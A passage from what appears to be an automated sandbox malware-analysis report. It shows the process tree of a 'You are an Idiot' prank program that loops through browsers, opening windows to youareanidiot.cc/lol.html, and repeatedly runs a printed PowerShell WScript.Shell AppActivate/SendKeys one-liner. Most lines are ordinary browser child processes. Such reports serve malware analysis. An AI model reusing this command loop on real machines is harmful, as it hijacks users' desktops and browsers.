        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6784,i,5393454092589037378,1780593129075242623,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=6776 /prefetch:8
        5⤵
        
        PID:7436
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6748,i,4340478703937594250,8557689722426385082,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=6828 /prefetch:8
        5⤵
        
        PID:6408
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=6696,i,1474853556418054343,4834286613951953698,2097152 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=6248 /prefetch:1
        5⤵
        
        PID:2400
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6612,i,15125651683525541951,2261947876390629394,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:8
        5⤵
        
        PID:2092
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6580,i,16179082862175448062,15794799764117278416,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:8
        5⤵
        
        PID:5444
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=6620,i,5762129475628266566,7527950553709533337,2097152 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=4984 /prefetch:1
        5⤵
        
        PID:4620
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5068,i,16181099195618917462,5119634607535967061,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:8
        5⤵
        
        PID:200
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5272,i,11352002872280564868,9330804490872966159,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=4916 /prefetch:8
        5⤵
        
        PID:7452
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5080,i,13296246210279727177,18244625590279740476,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:8
        5⤵
        
        PID:6148
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=3436,i,7610967719947785966,16291047325796023063,2097152 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:1
        5⤵
        
        PID:6808
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5368,i,11282491364466210263,15892193556369489930,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=2120 /prefetch:8
        5⤵
        
        PID:3880
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5304,i,2915214098116833587,11091460905182933097,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:8
        5⤵
        
        PID:2644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:64
  - - C:\Windows\system32\where.exe
      where firefox
      4⤵
      PID:6484
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6508
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:6532
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2016 -prefsLen 27099 -prefMapHandle 2020 -prefMapSize 270279 -ipcHandle 2096 -initialChannelId {b164bb0a-efa6-41de-a3cb-edc84e351ce5} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:6856
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2488 -prefsLen 27135 -prefMapHandle 2492 -prefMapSize 270279 -ipcHandle 2508 -initialChannelId {3eb06ae0-39d2-4052-9103-338090abe513} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:7108
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3836 -prefsLen 25164 -prefMapHandle 3840 -prefMapSize 270279 -jsInitHandle 3844 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3852 -initialChannelId {a81ba6dc-c16d-4e29-a151-de135fd50035} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        
        PID:6108
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4072 -prefsLen 27276 -prefMapHandle 4076 -prefMapSize 270279 -ipcHandle 4008 -initialChannelId {ba7a7f79-9691-42dd-8762-7e3f57de0929} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:6052
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2996 -prefsLen 34775 -prefMapHandle 3000 -prefMapSize 270279 -jsInitHandle 3076 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3112 -initialChannelId {b2324cce-0126-4505-8742-2fa186087981} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        
        PID:1628
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 5052 -prefsLen 35012 -prefMapHandle 5056 -prefMapSize 270279 -ipcHandle 5028 -initialChannelId {054757dd-a03f-45e9-95bc-e64b3f06d1dc} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        6⤵
        
        PID:7552
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5164 -prefsLen 35012 -prefMapHandle 4632 -prefMapSize 270279 -ipcHandle 4628 -initialChannelId {b39557e4-9811-487d-9afc-7145906682ec} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 utility
        6⤵
        
        PID:7768
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5376 -prefsLen 32952 -prefMapHandle 5380 -prefMapSize 270279 -jsInitHandle 5384 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5388 -initialChannelId {91b31a67-84b3-4302-bdd4-66b1ec15ba38} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        
        PID:7856
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5404 -prefsLen 32952 -prefMapHandle 5408 -prefMapSize 270279 -jsInitHandle 5412 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5160 -initialChannelId {cd68cb9e-1dfe-4c67-824c-326ccfc44e28} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        
        PID:7916
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5484 -prefsLen 32952 -prefMapHandle 5488 -prefMapSize 270279 -jsInitHandle 5492 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5500 -initialChannelId {c5c4ac89-70dc-46bf-b7bb-3b22ec6aa264} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        6⤵
        
        PID:7964
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6324 -prefsLen 32952 -prefMapHandle 6328 -prefMapSize 270279 -jsInitHandle 6332 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6308 -initialChannelId {40f6c63d-2765-41d7-a5b9-263ca8b06bdc} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        6⤵
        
        PID:5084
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6700 -prefsLen 32952 -prefMapHandle 6736 -prefMapSize 270279 -jsInitHandle 4824 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2824 -initialChannelId {fe1c7faa-1688-4d32-b729-f7fe5c29f228} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        6⤵
        
        PID:7332
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6712 -prefsLen 32952 -prefMapHandle 6720 -prefMapSize 270279 -jsInitHandle 6724 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6540 -initialChannelId {9595fca0-1a9b-46a2-b307-50859d806295} -parentPid 6532 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6532" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        6⤵
        
        PID:1708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6516
  - - C:\Windows\system32\where.exe
      where brave
      4⤵
      PID:5888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5944
  - - C:\Windows\system32\where.exe
      where opera
      4⤵
      PID:5320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6132
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:4208
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:4012
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb64fbc728,0x7ffb64fbc734,0x7ffb64fbc740
        5⤵
        
        PID:7020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6988
  - - C:\Windows\system32\where.exe
      where msedge
      4⤵
      PID:7656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:2284
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7868
  - - C:\Windows\system32\where.exe
      where firefox
      4⤵
      PID:7436
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7544
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        
        PID:6964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7024
  - - C:\Windows\system32\where.exe
      where brave
      4⤵
      PID:4276
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6584
  - - C:\Windows\system32\where.exe
      where opera
      4⤵
      PID:5956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3396
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:2428
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6796
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xac,0x110,0x7ffb64fbc728,0x7ffb64fbc734,0x7ffb64fbc740
        5⤵
        
        PID:5908
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1852,i,3962074107092332328,14568632349194576859,524288 --field-trial-handle=2056,i,1825921963904750556,9171605558693701311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2084 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:4488
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1668,i,12612394462228415242,17848884256661747975,262144 --field-trial-handle=2056,i,1825921963904750556,9171605558693701311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2052 /prefetch:2
        5⤵
        
        PID:452
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2392,i,17492858194132944391,14595143007241410933,524288 --field-trial-handle=2056,i,1825921963904750556,9171605558693701311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2560 /prefetch:8
        5⤵
        
        PID:5880
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3228,i,14395965927806356072,12209158965850127855,2097152 --field-trial-handle=2056,i,1825921963904750556,9171605558693701311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3276 /prefetch:1
        5⤵
        
        PID:7940
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3232,i,9883252216501385339,10115876739774628582,2097152 --field-trial-handle=2056,i,1825921963904750556,9171605558693701311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3296 /prefetch:1
        5⤵
        
        PID:7132
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4452,i,4020722568276162202,5487174334758301362,524288 --field-trial-handle=2056,i,1825921963904750556,9171605558693701311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4456 /prefetch:8
        5⤵
        
        PID:6980
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5324,i,5811654712348312375,16901434243945847175,524288 --field-trial-handle=2056,i,1825921963904750556,9171605558693701311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5312 /prefetch:8
        5⤵
        
        PID:7172
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5360,i,12457093866549308088,7603315974568223504,2097152 --field-trial-handle=2056,i,1825921963904750556,9171605558693701311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5316 /prefetch:1
        5⤵
        
        PID:7492
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5724,i,7733829841694720406,829333599543555602,524288 --field-trial-handle=2056,i,1825921963904750556,9171605558693701311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=228 /prefetch:8
        5⤵
        
        PID:4680
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5744,i,13917172567748072896,9564642573462463789,524288 --field-trial-handle=2056,i,1825921963904750556,9171605558693701311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5336 /prefetch:8
        5⤵
        
        PID:5076
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5752,i,35725485572376314,109950900152835459,524288 --field-trial-handle=2056,i,1825921963904750556,9171605558693701311,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5852 /prefetch:8
        5⤵
        
        PID:6440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5840
  - - C:\Windows\system32\where.exe
      where msedge
      4⤵
      PID:5488
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5836
  - - C:\Windows\system32\where.exe
      where firefox
      4⤵
      PID:6408
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:5832
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        
        PID:3972
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5844
  - - C:\Windows\system32\where.exe
      where brave
      4⤵
      PID:4148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7976
  - - C:\Windows\system32\where.exe
      where opera
      4⤵
      PID:6396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3964
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:4928
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:3128
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
